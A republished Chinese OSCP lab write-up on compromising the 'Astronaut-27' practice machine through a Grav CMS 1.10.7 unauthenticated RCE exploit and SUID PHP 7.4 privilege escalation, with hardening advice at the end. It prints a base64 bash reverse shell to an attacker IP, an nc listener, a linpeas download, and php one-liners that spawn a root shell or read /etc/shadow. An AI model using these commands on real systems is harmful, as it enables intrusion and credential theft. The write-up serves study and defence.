OSCP系列-Astronaut-27这台靶机只用了10分钟

admin 2026-04-26 05:44:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了针对OSCP备考靶机Astronaut-27的渗透测试过程,通过GravCMS1.10.7未授权RCE漏洞获取www-data权限,并利用错误配置的SUID权限PHP7.4实现root提权。关键发现包括漏洞利用链构建和权限提升技巧,同时提供了更新软件、部署WAF及检查特权文件的防御建议。 综合评分: 85 文章分类: 渗透测试,WEB安全,红队,内网渗透,安全建设


cover_image

OSCP系列-Astronaut-27 这台靶机只用了 10 分钟

原创

SKillLab SKillLab

SkillLab

2026年3月25日 07:02 北京

在小说阅读器读本章

去阅读

本文内容仅用于 OSCP 备考交流

互联网不是法外之地,请严格遵守《网络安全法》

01

0x01 攻击全景图 (Attack Chain)

靶机80端口存在“Grav CMS 1.10.7 远程命令执行漏洞,该漏洞在未经授权的情况下执行远程命令,通过构造恶意请求获取了 Web 服务用户 www-data 的系统权限;在内网信息收集过程中,发现系统敏感二进制文件 /usr/bin/php7.4 被错误地赋予了 SUID 特权。利用 PHP 解释器的特性绕过权限控制,最终实现从普通用户到 root 用户的纵向提权。

02

0x02 初始访问:Grav CMS 远程命令执行

进行信息收集。

rustscan -a 192.168.207.12 --ulimit 5000

┌──(kali㉿kali)-[~/Desktop]└─$ sudo nmap -Pn --min-rate 1000 -p22,80 -A 192.168.207.12[sudo] password for kali:Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-22 05:00 EDTNmap scan report for localhost (192.168.207.12)Host is up (0.14s latency).PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)80/tcp open  http    Apache httpd 2.4.41| http-ls: Volume /| SIZE  TIME              FILENAME| -     2021-03-17 17:46  grav-admin/|_|_http-title: Index of /|_http-server-header: Apache/2.4.41 (Ubuntu)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purpose|routerRunning: Linux 4.X|5.X, MikroTik RouterOS 7.XOS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)Network Distance: 4 hopsService Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)HOP RTT       ADDRESS1   138.58 ms bogon (192.168.45.1)2   138.49 ms bogon (192.168.45.254)3   138.64 ms localhost (192.168.251.1)4   138.75 ms localhost (192.168.207.12)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.88 seconds

对详细扫描结果进行分析,靶机共开放2个端口,建立测试优先级,80–>22,首先对80端口进行测试。

对80端口进行访问,发现存在一个目录grav-admin。

http://192.168.207.12/

搜索发现该版本 Grav CMS 存在未授权 RCE 漏洞。该漏洞允许通过精心构造的请求在服务器上执行代码。

grav-admin exploit

#参考链接:https://www.exploit-db.com/exploits/49973

使用searchsploit将49973文件下载到本地。

searchsploit grav

searchsploit -m 49973

制作base64的反弹shell参数。

echo 'bash -i >& /dev/tcp/192.168.45.248/4444 0>&1' | base64

经检查,该 Python 脚本需要配置目标 URL 及反弹 Shell 的 Base64 编码载荷。将脚本中的 target_url 修改为 http://192.168.207.12/grav-admin ,并将生成的 Payload 替换至 payload 变量中

开启监听并运行脚本,成功获得 www-data 权限的Shell权限。

python3 49973.pyrlwrap nc -lvvp 4444

03

0x03 信息搜集:特权文件查找

将linpeas上传到靶机并执行。

wget http://192.168.45.248/linpeas.sh -O linpeas.sh

04

0x04 权限提升:PHP7.4 SUID 提权

使用 linpeas.sh ,发现 /usr/bin/php7.4 具备 SUID 权限;PHP 的 SUID 权限可被用于执行任意系统命令或读取敏感文件,下面两种方法任选一种都可以进行利用。

/usr/bin/php7.4 -r "pcntl_exec('/bin/sh', ['-p']);"   #使用 -p 参数以保持 root 特权执行环境。/usr/bin/php7.4 -r 'readfile("/etc/shadow");'

05

0x05 防御与加固建议 (Blue Team View)

防止边界突破:

  1. 针对grav cms 1.10.7 服务的远程命令执行漏洞,应立即更新至官方最新安全版本。建立第三方软件资产清单,定期扫描并修复已知漏洞。
  2. 部署 WAF 并启用针对 RCE(远程代码执行)和 SSTI(服务端模板注入)的过滤规则,拦截包含恶意 PHP 代码或特殊字符(如 {{ ... }} 模板语法)的异常请求。

防止横向移动:

  1. 严禁给 php 、 python 、 vim 、 find 等具备执行系统命令能力的二进制文件赋予 SUID 权限,如果业务确实有需要可通过sudoers文件进行参数控制,即使攻击者拿到权限也不能执行规定参数以外的命令。
  2. 定期执行 find / -perm -u=s -type f 检查系统中的特权文件,移除不必要的特权位。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:SkillLab SKillLab SKillLab《OSCP系列-Astronaut-27 这台靶机只用了 10 分钟》

评论:0   参与:  0